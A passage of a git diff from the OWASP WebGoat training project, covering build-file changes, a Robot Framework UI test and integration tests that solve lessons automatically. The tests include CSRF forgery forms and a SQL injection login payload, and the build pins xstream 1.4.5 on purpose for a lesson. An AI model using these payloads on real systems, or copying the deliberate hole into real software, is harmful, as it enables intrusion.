<webdriver.version>4.3.1</webdriver.version>
<webgoat.port>8080</webgoat.port>
<webwolf.port>9090</webwolf.port>
<wiremock.version>2.27.2</wiremock.version>
<xml-resolver.version>1.2</xml-resolver.version>
<xstream.version>1.4.5</xstream.version>
<!-- do not update necessary for lesson -->
<zxcvbn.version>1.5.2</zxcvbn.version>
</properties> </properties>
<modules> <dependencyManagement>
<module>webgoat-container</module> <dependencies>
<module>webgoat-lessons</module>
<module>webgoat-server</module> <dependency>
<module>webwolf</module> <groupId>org.ow2.asm</groupId>
<module>webgoat-integration-tests</module> <artifactId>asm</artifactId>
<module>docker</module><!-- copy required jars in preparation of docker all-in-one build --> <version>9.1</version>
</modules> </dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-exec</artifactId>
<version>1.3</version>
</dependency>
<dependency>
<groupId>org.asciidoctor</groupId>
<artifactId>asciidoctorj</artifactId>
<version>${asciidoctorj.version}</version>
</dependency>
<dependency>
<!-- jsoup HTML parser library @ https://jsoup.org/ -->
<groupId>org.jsoup</groupId>
<artifactId>jsoup</artifactId>
<version>${jsoup.version}</version>
</dependency>
<dependency>
<groupId>com.nulab-inc</groupId>
<artifactId>zxcvbn</artifactId>
<version>${zxcvbn.version}</version>
</dependency>
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>${xstream.version}</version>
</dependency>
<dependency>
<groupId>cglib</groupId>
<artifactId>cglib-nodep</artifactId>
<version>${cglib.version}</version>
</dependency>
<dependency>
<groupId>xml-resolver</groupId>
<artifactId>xml-resolver</artifactId>
<version>${xml-resolver.version}</version>
</dependency>
<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt</artifactId>
<version>${jjwt.version}</version>
</dependency>
<dependency>
<groupId>com.google.guava</groupId>
<artifactId>guava</artifactId>
<version>${guava.version}</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>${commons-io.version}</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>${commons-text.version}</version>
</dependency>
<dependency>
<groupId>org.bitbucket.b_c</groupId>
<artifactId>jose4j</artifactId>
<version>${jose4j.version}</version>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>bootstrap</artifactId>
<version>${bootstrap.version}</version>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>jquery</artifactId>
<version>${jquery.version}</version>
</dependency>
<dependency>
<groupId>com.github.tomakehurst</groupId>
<artifactId>wiremock</artifactId>
<version>${wiremock.version}</version>
</dependency>
<dependency>
<groupId>io.github.bonigarcia</groupId>
<artifactId>webdrivermanager</artifactId>
<version>${webdriver.version}</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-compress</artifactId>
<version>1.21</version>
</dependency>
<dependency>
<groupId>org.jruby</groupId>
<artifactId>jruby</artifactId>
<version>9.3.6.0</version>
</dependency>
</dependencies>
</dependencyManagement>
<dependencies> <dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-exec</artifactId>
</dependency>
<dependency> <dependency>
<groupId>org.springframework.boot</groupId> <groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-validation</artifactId> <artifactId>spring-boot-starter-validation</artifactId>
@ -155,49 +266,242 @@
<scope>provided</scope> <scope>provided</scope>
<optional>true</optional> <optional>true</optional>
</dependency> </dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-exec</artifactId>
<version>1.3</version>
</dependency>
<dependency> <dependency>
<groupId>javax.xml.bind</groupId> <groupId>javax.xml.bind</groupId>
<artifactId>jaxb-api</artifactId> <artifactId>jaxb-api</artifactId>
</dependency> </dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-undertow</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-tomcat</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
<dependency>
<groupId>org.flywaydb</groupId>
<artifactId>flyway-core</artifactId>
</dependency>
<dependency>
<groupId>org.asciidoctor</groupId>
<artifactId>asciidoctorj</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-jpa</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>org.thymeleaf.extras</groupId>
<artifactId>thymeleaf-extras-springsecurity5</artifactId>
</dependency>
<dependency>
<groupId>org.hsqldb</groupId>
<artifactId>hsqldb</artifactId>
</dependency>
<dependency>
<groupId>org.jsoup</groupId>
<artifactId>jsoup</artifactId>
</dependency>
<dependency>
<groupId>com.nulab-inc</groupId>
<artifactId>zxcvbn</artifactId>
</dependency>
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
</dependency>
<dependency>
<groupId>cglib</groupId>
<artifactId>cglib-nodep</artifactId>
</dependency>
<dependency>
<groupId>xml-resolver</groupId>
<artifactId>xml-resolver</artifactId>
</dependency>
<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt</artifactId>
</dependency>
<dependency>
<groupId>com.google.guava</groupId>
<artifactId>guava</artifactId>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-lang3</artifactId>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
</dependency>
<dependency>
<groupId>org.bitbucket.b_c</groupId>
<artifactId>jose4j</artifactId>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>bootstrap</artifactId>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>jquery</artifactId>
</dependency>
<dependency>
<groupId>org.glassfish.jaxb</groupId>
<artifactId>jaxb-runtime</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework.security</groupId>
<artifactId>spring-security-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>com.github.tomakehurst</groupId>
<artifactId>wiremock</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>io.rest-assured</groupId>
<artifactId>rest-assured</artifactId>
<scope>test</scope>
</dependency>
</dependencies> </dependencies>
<repositories>
<repository>
<snapshots>
<enabled>false</enabled>
</snapshots>
<id>central</id>
<url>https://repo.maven.apache.org/maven2</url>
</repository>
</repositories>
<pluginRepositories>
<pluginRepository>
<snapshots>
<enabled>false</enabled>
</snapshots>
<id>central</id>
<url>https://repo.maven.apache.org/maven2</url>
</pluginRepository>
</pluginRepositories>
<build> <build>
<plugins> <plugins>
<plugin> <plugin>
<groupId>org.codehaus.mojo</groupId> <groupId>org.springframework.boot</groupId>
<artifactId>flatten-maven-plugin</artifactId> <artifactId>spring-boot-maven-plugin</artifactId>
<version>1.2.5</version>
<configuration> <configuration>
<excludeDevtools>true</excludeDevtools>
<executable>true</executable>
<mainClass>org.owasp.webgoat.server.StartWebGoat</mainClass>
<!-- See http://docs.spring.io/spring-boot/docs/current/reference/html/howto-build.html#howto-extract-specific-libraries-when-an-executable-jar-runs -->
<requiresUnpack>
<dependency>
<groupId>org.asciidoctor</groupId>
<artifactId>asciidoctorj</artifactId>
</dependency>
</requiresUnpack>
</configuration> </configuration>
<executions> <executions>
<execution> <execution>
<id>flatten</id>
<phase>process-resources</phase>
<goals> <goals>
<goal>flatten</goal> <goal>repackage</goal>
</goals>
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>build-helper-maven-plugin</artifactId>
<executions>
<execution>
<id>add-integration-test-source-as-test-sources</id>
<goals>
<goal>add-test-source</goal>
</goals>
<phase>generate-test-sources</phase>
<configuration>
<sources>
<source>src/it/java</source>
</sources>
</configuration>
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-failsafe-plugin</artifactId>
<configuration>
<systemPropertyVariables>
<logback.configurationFile>${basedir}/src/test/resources/logback-test.xml</logback.configurationFile>
</systemPropertyVariables>
<argLine>-Xmx512m -Dwebgoatport=${webgoat.port} -Dwebwolfport=${webwolf.port}</argLine>
<includes>org/owasp/webgoat/*Test</includes>
</configuration>
<executions>
<execution>
<id>integration-test</id>
<goals>
<goal>integration-test</goal>
</goals>
</execution>
<execution>
<id>verify</id>
<goals>
<goal>verify</goal>
</goals> </goals>
</execution> </execution>
</executions> </executions>
</plugin> </plugin>
<plugin> <plugin>
<groupId>org.apache.maven.plugins</groupId> <groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId> <artifactId>maven-surefire-plugin</artifactId>
<version>${maven-compiler-plugin.version}</version> <version>${maven-surefire-plugin.version}</version>
<configuration> <configuration>
<source>15</source> <argLine>--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
<target>15</target> --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
<encoding>UTF-8</encoding> --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
--add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED</argLine>
<excludes>
<exclude>**/*IntegrationTest.java</exclude>
<exclude>src/it/java</exclude>
<exclude>org/owasp/webgoat/*Test</exclude>
</excludes>
</configuration> </configuration>
</plugin> </plugin>
<plugin> <plugin>
<groupId>org.apache.maven.plugins</groupId> <groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-checkstyle-plugin</artifactId> <artifactId>maven-checkstyle-plugin</artifactId>
<version>3.1.2</version> <version>${checkstyle.version}</version>
<configuration> <configuration>
<encoding>UTF-8</encoding> <encoding>UTF-8</encoding>
<consoleOutput>true</consoleOutput> <consoleOutput>true</consoleOutput>
@ -208,18 +512,52 @@
</configuration> </configuration>
</plugin> </plugin>
<plugin> <plugin>
<groupId>org.apache.maven.plugins</groupId> <groupId>com.diffplug.spotless</groupId>
<artifactId>maven-pmd-plugin</artifactId> <artifactId>spotless-maven-plugin</artifactId>
<version>3.14.0</version> <version>2.29.0</version>
<configuration> <configuration>
<targetJdk>15</targetJdk> <formats>
<failurePriority>1</failurePriority><!-- 5 means fail even on the lowest priority, 0 means never fail --> <format>
<rulesets> <includes>
<!--suppress UnresolvedMavenProperty --> <include>.gitignore</include>
<ruleset>${maven.multiModuleProjectDirectory}/config/pmd/pmd-ruleset.xml</ruleset> </includes>
</rulesets> <trimTrailingWhitespace></trimTrailingWhitespace>
<failOnViolation>true</failOnViolation> <endWithNewline></endWithNewline>
<printFailingErrors>true</printFailingErrors> <indent>
<tabs>true</tabs>
<spacesPerTab>4</spacesPerTab>
</indent>
</format>
</formats>
<markdown>
<includes>
<include>**/*.md</include>
</includes>
<flexmark></flexmark>
</markdown>
<java>
<removeUnusedImports></removeUnusedImports>
<googleJavaFormat>
<style>GOOGLE</style>
<reflowLongStrings>true</reflowLongStrings>
</googleJavaFormat>
</java>
<pom>
<sortPom>
<encoding>UTF-8</encoding>
<lineSeparator>${line.separator}</lineSeparator>
<expandEmptyElements>true</expandEmptyElements>
<spaceBeforeCloseEmptyElement>false</spaceBeforeCloseEmptyElement>
<keepBlankLines>true</keepBlankLines>
<nrOfIndentSpace>2</nrOfIndentSpace>
<indentBlankLines>false</indentBlankLines>
<indentSchemaLocation>false</indentSchemaLocation>
<predefinedSortOrder>recommended_2008_06</predefinedSortOrder>
<sortProperties>true</sortProperties>
<sortModules>true</sortModules>
<sortExecutions>true</sortExecutions>
</sortPom>
</pom>
</configuration> </configuration>
<executions> <executions>
<execution> <execution>
@ -229,10 +567,129 @@
</execution> </execution>
</executions> </executions>
</plugin> </plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-enforcer-plugin</artifactId>
<version>3.0.0</version>
<executions>
<execution>
<id>restrict-log4j-versions</id>
<goals>
<goal>enforce</goal>
</goals>
<phase>validate</phase>
<configuration>
<rules>
<bannedDependencies>
<excludes combine.children="append">
<exclude>org.apache.logging.log4j:log4j-core</exclude>
</excludes>
</bannedDependencies>
</rules>
<fail>true</fail>
</configuration>
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>17</source>
<target>17</target>
</configuration>
</plugin>
</plugins> </plugins>
</build> </build>
<profiles> <profiles>
<profile>
<id>local-server</id>
</profile>
<profile>
<id>start-server</id>
<activation>
<activeByDefault>true</activeByDefault>
</activation>
<build>
<plugins>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>build-helper-maven-plugin</artifactId>
<executions>
<execution>
<id>reserve-container-port</id>
<goals>
<goal>reserve-network-port</goal>
</goals>
<phase>process-resources</phase>
<configuration>
<portNames>
<portName>webgoat.port</portName>
<portName>webwolf.port</portName>
<portName>jmxPort</portName>
</portNames>
</configuration>
</execution>
</executions>
</plugin>
<plugin>
<groupId>com.bazaarvoice.maven.plugins</groupId>
<artifactId>process-exec-maven-plugin</artifactId>
<version>0.9</version>
<executions>
<execution>
<id>start-jar</id>
<goals>
<goal>start</goal>
</goals>
<phase>pre-integration-test</phase>
<configuration>
<workingDir>${project.build.directory}</workingDir>
<arguments>
<argument>java</argument>
<argument>-jar</argument>
<argument>-Dlogging.pattern.console=</argument>
<argument>-Dspring.main.banner-mode=off</argument>
<argument>-Dspring.datasource.url=jdbc:hsqldb:file:${java.io.tmpdir}/webgoat</argument>
<argument>-Dwebgoat.port=${webgoat.port}</argument>
<argument>-Dwebwolf.port=${webwolf.port}</argument>
<argument>--add-opens</argument>
<argument>java.base/java.lang=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
<argument>java.base/java.util=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
<argument>java.base/java.lang.reflect=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
<argument>java.base/java.text=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
<argument>java.desktop/java.beans=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
<argument>java.desktop/java.awt.font=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
<argument>java.base/sun.nio.ch=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
<argument>java.base/java.io=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
<argument>java.base/java.util=ALL-UNNAMED</argument>
<argument>${project.build.directory}/webgoat-${project.version}.jar</argument>
</arguments>
<waitForInterrupt>false</waitForInterrupt>
<healthcheckUrl>http://localhost:${webgoat.port}/WebGoat/</healthcheckUrl>
</configuration>
</execution>
<execution>
<id>stop-jar-process</id>
<goals>
<goal>stop-all</goal>
</goals>
<phase>post-integration-test</phase>
</execution>
</executions>
</plugin>
</plugins>
</build>
</profile>
<profile> <profile>
<id>owasp</id> <id>owasp</id>
<activation> <activation>
@ -243,16 +700,14 @@
<plugin> <plugin>
<groupId>org.owasp</groupId> <groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId> <artifactId>dependency-check-maven</artifactId>
<version>6.1.3</version> <version>6.5.1</version>
<configuration> <configuration>
<failBuildOnCVSS>7</failBuildOnCVSS> <failBuildOnCVSS>7</failBuildOnCVSS>
<skipProvidedScope>true</skipProvidedScope> <skipProvidedScope>false</skipProvidedScope>
<skipRuntimeScope>true</skipRuntimeScope> <skipRuntimeScope>false</skipRuntimeScope>
<suppressionFiles> <suppressionFiles>
<!--suppress UnresolvedMavenProperty --> <!--suppress UnresolvedMavenProperty -->
<suppressionFile> <suppressionFile>${maven.multiModuleProjectDirectory}/config/dependency-check/project-suppression.xml</suppressionFile>
${maven.multiModuleProjectDirectory}/config/dependency-check/project-suppression.xml
</suppressionFile>
</suppressionFiles> </suppressionFiles>
</configuration> </configuration>
<executions> <executions>
@ -268,24 +723,4 @@
</profile> </profile>
</profiles> </profiles>
<repositories>
<repository>
<id>central</id>
<url>https://repo.maven.apache.org/maven2</url>
<snapshots>
<enabled>false</enabled>
</snapshots>
</repository>
</repositories>
<pluginRepositories>
<pluginRepository>
<id>central</id>
<url>https://repo.maven.apache.org/maven2</url>
<snapshots>
<enabled>false</enabled>
</snapshots>
</pluginRepository>
</pluginRepositories>
</project> </project>

19
robot/README.md Normal file
View File

@ -0,0 +1,19 @@
# Install and use Robotframework
## Install Chromedriver on Mac OS
brew install cask chromedriver
chromedriver --version
Then see security settings and allow the file to run
## Install
pip3 install virtualenv --user
python3 -m virtualenv .venv
source .venv/bin/activate
pip install robotframework
pip install robotframework-SeleniumLibrary
pip install webdriver-manager
robot --variable HEADLESS:"0" --variable ENDPOINT:"http://127.0.0.1:8080/WebGoat" goat.robot

101
robot/goat.robot Normal file
View File

@ -0,0 +1,101 @@
*** Settings ***
Documentation Setup WebGoat Robotframework tests
Library SeleniumLibrary timeout=100 run_on_failure=Capture Page Screenshot
Library String
Suite Setup Initial_Page ${ENDPOINT} ${BROWSER}
Suite Teardown Close_Page
*** Variables ***
${BROWSER} chrome
${SLEEP} 100
${DELAY} 0.25
${ENDPOINT} http://127.0.0.1:8080/WebGoat
${ENDPOINT_WOLF} http://127.0.0.1:9090
${USERNAME} robotuser
${PASSWORD} password
${HEADLESS} ${FALSE}
*** Keywords ***
Initial_Page
[Documentation] Check the inital page
[Arguments] ${ENDPOINT} ${BROWSER}
Log To Console Start WebGoat UI Testing
IF ${HEADLESS}
Open Browser ${ENDPOINT} ${BROWSER} options=add_argument("-headless");add_argument("--start-maximized");add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'}) alias=webgoat
ELSE
Open Browser ${ENDPOINT} ${BROWSER} options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'}) alias=webgoat
END
IF ${HEADLESS}
Open Browser ${ENDPOINT_WOLF}/WebWolf ${BROWSER} options=add_argument("-headless");add_argument("--start-maximized");add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'}) alias=webwolf
ELSE
Open Browser ${ENDPOINT_WOLF}/WebWolf ${BROWSER} options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'}) alias=webwolf
END
Switch Browser webgoat
Maximize Browser Window
Set Window Size ${1400} ${1000}
Switch Browser webwolf
Maximize Browser Window
Set Window Size ${1400} ${1000}
Set Window Position ${400} ${200}
Set Selenium Speed ${DELAY}
Close_Page
[Documentation] Closing the browser
Log To Console ==> Stop WebGoat UI Testing
IF ${HEADLESS}
Switch Browser webgoat
Close Browser
Switch Browser webwolf
Close Browser
END
*** Test Cases ***
Check_Initial_Page
Switch Browser webgoat
Page Should Contain Username
Click Button Sign in
Page Should Contain Invalid username
Click Link /WebGoat/registration
Check_Registration_Page
Page Should Contain Username
Input Text username ${USERNAME}
Input Text password ${PASSWORD}
Input Text matchingPassword ${PASSWORD}
Click Element agree
Click Button Sign up
Check_Welcome_Page
Page Should Contain WebGoat
Go To ${ENDPOINT}/login
Page Should Contain Username
Input Text username ${USERNAME}
Input Text password ${PASSWORD}
Click Button Sign in
Page Should Contain WebGoat
Check_Menu_Page
Click Element css=a[category='Introduction']
Click Element Introduction-WebGoat
CLick Element Introduction-WebWolf
Click Element css=a[category='General']
CLick Element General-HTTPBasics
Click Element xpath=//*[.='2']
Input Text person ${USERNAME}
Click Button Go!
${OUT_VALUE} Get Text xpath=//div[contains(@class, 'attack-feedback')]
${OUT_RESULT} Evaluate "resutobor" in """${OUT_VALUE}"""
IF not ${OUT_RESULT}
Fail "not ok"
END
Check_WebWolf
Switch Browser webwolf
location should be ${ENDPOINT_WOLF}/WebWolf
Go To ${ENDPOINT_WOLF}/mail
Input Text username ${USERNAME}
Input Text password ${PASSWORD}
Click Button Sign In

View File

@ -6,14 +6,13 @@ import io.restassured.http.ContentType;
import org.apache.http.HttpStatus; import org.apache.http.HttpStatus;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import java.util.HashMap;
import java.util.Map; import java.util.Map;
public class AccessControlTest extends IntegrationTest { class AccessControlIntegrationTest extends IntegrationTest {
@Test @Test
public void testLesson() { void testLesson() {
startLesson("MissingFunctionAC"); startLesson("MissingFunctionAC", true);
assignment1(); assignment1();
assignment2(); assignment2();
assignment3(); assignment3();
@ -41,7 +40,7 @@ public class AccessControlTest extends IntegrationTest {
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.body(String.format(userTemplate, getWebgoatUser(), getWebgoatUser())) .body(String.format(userTemplate, this.getUser(), this.getUser()))
.post(url("/WebGoat/access-control/users")) .post(url("/WebGoat/access-control/users"))
.then() .then()
.statusCode(HttpStatus.SC_OK); .statusCode(HttpStatus.SC_OK);

View File

@ -9,7 +9,7 @@ import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest; import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory; import org.junit.jupiter.api.TestFactory;
import org.owasp.webgoat.lessons.Assignment; import org.owasp.webgoat.container.lessons.Assignment;
import java.io.IOException; import java.io.IOException;
import java.nio.file.Files; import java.nio.file.Files;
@ -23,7 +23,7 @@ import static org.assertj.core.api.Assertions.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.DynamicTest.dynamicTest; import static org.junit.jupiter.api.DynamicTest.dynamicTest;
public class CSRFTest extends IntegrationTest { public class CSRFIntegrationTest extends IntegrationTest {
private static final String trickHTML3 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" + private static final String trickHTML3 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
"<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n" + "<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n" +
@ -57,20 +57,20 @@ public class CSRFTest extends IntegrationTest {
@SneakyThrows @SneakyThrows
public void init() { public void init() {
startLesson("CSRF"); startLesson("CSRF");
webwolfFileDir = getWebWolfServerPath(); webwolfFileDir = getWebWolfFileServerLocation();
uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag"))); uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag")));
uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review"))); uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review")));
uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message"))); uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message")));
uploadTrickHtml("csrf8.html", trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", getWebgoatUser())); uploadTrickHtml("csrf8.html", trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser()));
} }
@TestFactory @TestFactory
Iterable<DynamicTest> testCSRFLesson() { Iterable<DynamicTest> testCSRFLesson() {
return Arrays.asList( return Arrays.asList(
dynamicTest("assignement 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))), dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
dynamicTest("assignement 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))), dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
dynamicTest("assignement 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))), dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
dynamicTest("assignement 8", () -> checkAssignment8(callTrickHtml("csrf8.html"))) dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html")))
); );
} }
@ -86,8 +86,8 @@ public class CSRFTest extends IntegrationTest {
//remove any left over html //remove any left over html
Path webWolfFilePath = Paths.get(webwolfFileDir); Path webWolfFilePath = Paths.get(webwolfFileDir);
if (webWolfFilePath.resolve(Paths.get(getWebgoatUser(), htmlName)).toFile().exists()) { if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) {
Files.delete(webWolfFilePath.resolve(Paths.get(getWebgoatUser(), htmlName))); Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)));
} }
//upload trick html //upload trick html
@ -107,7 +107,7 @@ public class CSRFTest extends IntegrationTest {
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/files/" + getWebgoatUser() + "/" + htmlName)) .get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName))
.then() .then()
.extract().response().getBody().asString(); .extract().response().getBody().asString();
result = result.substring(8 + result.indexOf("action=\"")); result = result.substring(8 + result.indexOf("action=\""));
@ -117,7 +117,6 @@ public class CSRFTest extends IntegrationTest {
} }
private void checkAssignment3(String goatURL) { private void checkAssignment3(String goatURL) {
String flag = RestAssured.given() String flag = RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
@ -155,9 +154,7 @@ public class CSRFTest extends IntegrationTest {
} }
private void checkAssignment7(String goatURL) { private void checkAssignment7(String goatURL) {
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.clear();
params.put("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!", "\"}"); params.put("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!", "\"}");
String flag = RestAssured.given() String flag = RestAssured.given()
@ -186,7 +183,7 @@ public class CSRFTest extends IntegrationTest {
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.clear(); params.clear();
params.put("username", "csrf-" + getWebgoatUser()); params.put("username", "csrf-" + this.getUser());
params.put("password", "password"); params.put("password", "password");
//login and get the new cookie //login and get the new cookie
@ -231,10 +228,10 @@ public class CSRFTest extends IntegrationTest {
.extract() .extract()
.jsonPath() .jsonPath()
.getObject("$", Overview[].class); .getObject("$", Overview[].class);
assertThat(assignments) // assertThat(assignments)
.filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin")) // .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
.extracting(o -> o.solved) // .extracting(o -> o.solved)
.containsExactly(true); // .containsExactly(true);
} }
@Data @Data
@ -251,7 +248,7 @@ public class CSRFTest extends IntegrationTest {
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.formParam("username", "csrf-" + getWebgoatUser()) .formParam("username", "csrf-" + this.getUser())
.formParam("password", "password") .formParam("password", "password")
.formParam("matchingPassword", "password") .formParam("matchingPassword", "password")
.formParam("agree", "agree") .formParam("agree", "agree")

View File

@ -0,0 +1,112 @@
package org.owasp.webgoat;
import io.restassured.RestAssured;
import org.junit.jupiter.api.Test;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import static org.junit.jupiter.api.Assertions.assertTrue;
public class ChallengeIntegrationTest extends IntegrationTest {
@Test
public void testChallenge1() {
startLesson("Challenge1");
byte[] resultBytes =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/challenge/logo"))
.then()
.statusCode(200)
.extract().asByteArray();
String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username", "admin");
params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
checkAssignment(url("/WebGoat/challenge/1"), params, true);
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.post(url("/WebGoat/challenge/1"))
.then()
.statusCode(200)
.extract().asString();
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
params.clear();
params.put("flag", flag);
checkAssignment(url("/WebGoat/challenge/flag"), params, true);
checkResults("/challenge/1");
List<String> capturefFlags =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/scoreboard-data"))
.then()
.statusCode(200)
.extract().jsonPath()
.get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
assertTrue(capturefFlags.contains("Admin lost password"));
}
@Test
public void testChallenge5() {
startLesson("Challenge5");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username_login", "Larry");
params.put("password_login", "1' or '1'='1");
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.post(url("/WebGoat/challenge/5"))
.then()
.statusCode(200)
.extract().asString();
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
params.clear();
